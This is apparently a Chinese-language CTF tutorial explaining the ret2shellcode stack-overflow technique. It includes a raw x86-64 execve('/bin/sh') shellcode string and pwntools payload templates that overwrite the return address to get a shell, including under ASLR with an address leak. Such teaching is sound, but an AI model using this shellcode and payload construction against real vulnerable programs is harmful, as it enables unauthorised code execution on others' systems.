Pwn ret2shellcode
攻击原理
ret2shellcode 的基本概念
ret2shellcode(Return to Shellcode) 是最经典的栈溢出利用技术之一,核心思想是:
-
将精心构造的 shellcode(机器码)写入到可执行的内存区域
-
通过栈溢出覆盖返回地址,跳转到 shellcode 的起始地址
-
程序执行 shellcode,通常用于获取 shell 或执行其他恶意操作
Shellcode 简介
Shellcode 是一段用于实现特定功能的机器码,通常非常精简。最常见的 shellcode 是用于执行 /bin/sh 获取 shell:
1 | # 64位 Linux execve("/bin/sh", NULL, NULL) |
ret2shellcode 的前提条件
ret2shellcode 攻击需要满足以下条件:
-
栈可执行(No NX):
- 程序必须没有开启 NX(No Execute)保护
- 栈必须被标记为可执行
- 可以通过
checksec检查:Stack: No canary found, NX: NX disabled
-
能够写入 shellcode:
- 存在可以写入数据的漏洞(gets、read、scanf 等)
- 能够将 shellcode 写入到可执行的内存区域
-
能够控制返回地址:
- 存在栈溢出漏洞
- 能够覆盖返回地址
-
知道 shellcode 地址:
- 如果栈地址固定(No PIE),可以直接计算
- 如果栈地址随机(PIE/ASLR),需要泄露栈地址
攻击原理详解
栈上的 shellcode 布局
当 shellcode 被写入栈上时,内存布局如下:
1 | 高地址 |
攻击流程
-
写入 shellcode:
1
2
3# 通过栈溢出或其他方式将 shellcode 写入栈
# shellcode 通常写入到缓冲区中
payload = shellcode + b'A' * (offset - len(shellcode)) -
覆盖返回地址:
1
2
3
4
5
6
7
8# 计算 shellcode 的地址
# 方法1:如果栈地址固定,可以直接计算
shellcode_addr = buffer_addr # 或 buffer_addr + offset
# 方法2:如果栈地址随机,需要泄露
# 先泄露某个栈地址,然后计算相对偏移
payload += p64(shellcode_addr) # 覆盖返回地址 -
执行 shellcode:
- 函数返回时,
ret指令弹出返回地址到rip - 程序跳转到 shellcode 地址
- CPU 开始执行 shellcode 的机器码
- shellcode 执行,获取 shell 或完成其他操作
- 函数返回时,
地址获取方法
方法1:直接计算(No PIE + No ASLR)
如果程序没有 PIE 保护,栈地址相对固定,可以直接计算:
1 | # 通过调试确定缓冲区地址 |
方法2:泄露栈地址(ASLR 开启)
如果开启了 ASLR,栈地址随机,需要泄露:
1 | # 第一次溢出:泄露栈地址 |
方法3:利用环境变量
在某些情况下,可以将 shellcode 写入环境变量,环境变量地址相对固定:
1 | # 设置环境变量 |
攻击示意图
1 | 正常执行: |
关键要点
-
NX 保护:ret2shellcode 要求栈可执行,如果开启了 NX,需要使用 ret2libc 等其他技术
-
地址精度:必须准确知道 shellcode 的地址,地址错误会导致程序崩溃
-
shellcode 长度:确保缓冲区足够大,能够容纳 shellcode
-
地址泄露:如果栈地址随机,需要先泄露地址再计算 shellcode 位置
-
shellcode 生成:可以使用 pwntools 的
shellcraft模块生成,或使用现成的 shellcode
例题
思路总结
ret2shellcode 是最基础的栈溢出利用技术,通过将 shellcode 写入可执行内存并跳转执行来实现攻击。核心思路是"写入-定位-跳转"。
攻击步骤
-
检查程序保护机制
1
checksec ./binary
- 关键:必须
NX: NX disabled(栈可执行) - 最好
No canary(无栈保护) - PIE 保护不影响,但需要泄露地址
- 关键:必须
-
分析漏洞点
- 寻找可以写入数据的函数:
gets、read、scanf等 - 确认缓冲区大小,确保能够容纳 shellcode
- 确认存在栈溢出,能够覆盖返回地址
- 寻找可以写入数据的函数:
-
生成或准备 shellcode
1
2
3
4
5
6
7
8
9
10
11
12from pwn import *
# 方法1:使用 pwntools 生成
context.arch = 'amd64' # 或 'i386'
shellcode = asm(shellcraft.sh()) # 生成 execve("/bin/sh")
# 方法2:使用现成的 shellcode
# 64位 Linux
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
# 方法3:自定义 shellcode(使用 shellcraft)
shellcode = asm(shellcraft.execve('/bin/sh')) -
确定 shellcode 地址
情况1:栈地址固定(No PIE + No ASLR)
1
2
3
4
5
6
7
8
9# 通过 gdb 调试确定缓冲区地址
# gdb ./binary
# (gdb) b func # 在漏洞函数处下断点
# (gdb) r
# (gdb) print $rsp # 查看栈指针
# (gdb) x/10gx $rsp # 查看栈内容
buffer_addr = 0x7fffffffe000 # 从调试中获得
shellcode_addr = buffer_addr # shellcode 通常从缓冲区开始情况2:栈地址随机(ASLR 开启)
1
2
3
4
5
6
7
8
9
10
11
12
13# 需要先泄露栈地址
# 第一次溢出:泄露某个栈地址
payload1 = b'A' * offset
payload1 += p64(pop_rdi) + p64(some_stack_addr) # 泄露栈上某个地址
payload1 += p64(elf.plt['puts'])
payload1 += p64(main_addr) # 返回 main,准备第二次溢出
io.sendline(payload1)
leaked_addr = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
# 计算 shellcode 地址(需要知道相对偏移)
# 通过调试确定偏移量
shellcode_addr = leaked_addr - offset -
构造 payload
1
2
3
4
5
6
7
8
9# 计算偏移量
offset = 0x30 + 0x8 # 缓冲区大小 + saved rbp
# 构造 payload
payload = shellcode # shellcode 放在前面
payload += b'A' * (offset - len(shellcode)) # 填充到 saved rbp
payload += p64(shellcode_addr) # 覆盖返回地址
# 注意:如果 shellcode 地址在缓冲区中间,需要相应调整 -
发送 payload 并获取 shell
1
2io.sendline(payload)
io.interactive()
关键技巧
-
Shellcode 的放置位置
- 放在缓冲区开头:最简单,
shellcode_addr = buffer_addr - 放在缓冲区中间:如果开头有其他数据,需要计算偏移
- 放在环境变量:某些情况下可以放在环境变量中
- 放在缓冲区开头:最简单,
-
地址计算技巧
1
2
3
4
5
6
7
8
9# 如果 shellcode 在缓冲区开头
shellcode_addr = buffer_addr
# 如果 shellcode 在缓冲区中间(偏移 offset)
shellcode_addr = buffer_addr + offset
# 如果通过泄露计算
# 需要知道泄露地址与 shellcode 的相对偏移
shellcode_addr = leaked_addr - known_offset -
处理地址随机化(ASLR)
- 泄露栈地址:通过格式化字符串或栈溢出泄露
- 计算相对偏移:通过调试确定固定偏移量
- 多次尝试:某些情况下可以暴力尝试(不推荐)
-
Shellcode 优化
1
2
3
4
5
6
7# 避免坏字符(如 \x00、\x0a、\x0d)
shellcode = asm(shellcraft.sh())
# 如果输入函数是 gets,需要避免 \x0a(换行符)
# 如果输入函数是 scanf,需要避免空格等
# 使用编码避免坏字符
# 或使用其他 shellcode -
调试技巧
1
2
3
4
5
6
7
8# 在 payload 中添加调试信息
# 例如:在 shellcode 前添加 int3(\xcc)触发断点
debug_shellcode = b'\xcc' + shellcode
# 使用 gdb 动态调试
# gdb ./binary
# (gdb) b *func+xxx # 在返回前下断点
# (gdb) x/20gx $rsp # 查看栈内容,确认 shellcode 和返回地址 -
处理栈对齐
- 64位系统调用时要求栈16字节对齐
- 如果 shellcode 中的系统调用失败,可能是对齐问题
- 可以在 shellcode 前添加
sub rsp, 8等指令调整
常见问题
-
NX 保护开启:如果栈不可执行,无法使用 ret2shellcode,需要改用 ret2libc
-
地址计算错误:使用 gdb 仔细调试,确认 shellcode 的实际地址
-
Shellcode 执行失败:检查 shellcode 是否完整写入,地址是否正确
-
坏字符问题:某些输入函数对特殊字符敏感,需要避免或编码
-
栈对齐问题:64位系统调用需要栈对齐,在 shellcode 中处理对齐
-
ASLR 绕过:需要泄露栈地址,或寻找其他可执行区域(如可执行的堆)
与其他技术对比
| 技术 | 前提条件 | 适用场景 |
|---|---|---|
| ret2shellcode | 栈可执行(No NX) | 最简单直接,适合入门 |
| ret2text | 程序中有后门函数 | 程序提供现成函数 |
| ret2libc | 可泄露 libc 地址 | NX 开启时的标准方法 |
| ret2syscall | 可构造 ROP 链 | 复杂但灵活 |
进阶技巧
-
使用其他可执行区域
- 如果栈不可执行,但堆可执行,可以将 shellcode 写入堆
- 某些程序有可执行的 data 段或 bss 段
-
Shellcode 编码
- 使用编码技术绕过坏字符检测
- 使用 alphanumeric shellcode(纯字母数字)
-
多阶段利用
- 第一阶段:写入 shellcode
- 第二阶段:跳转执行 shellcode
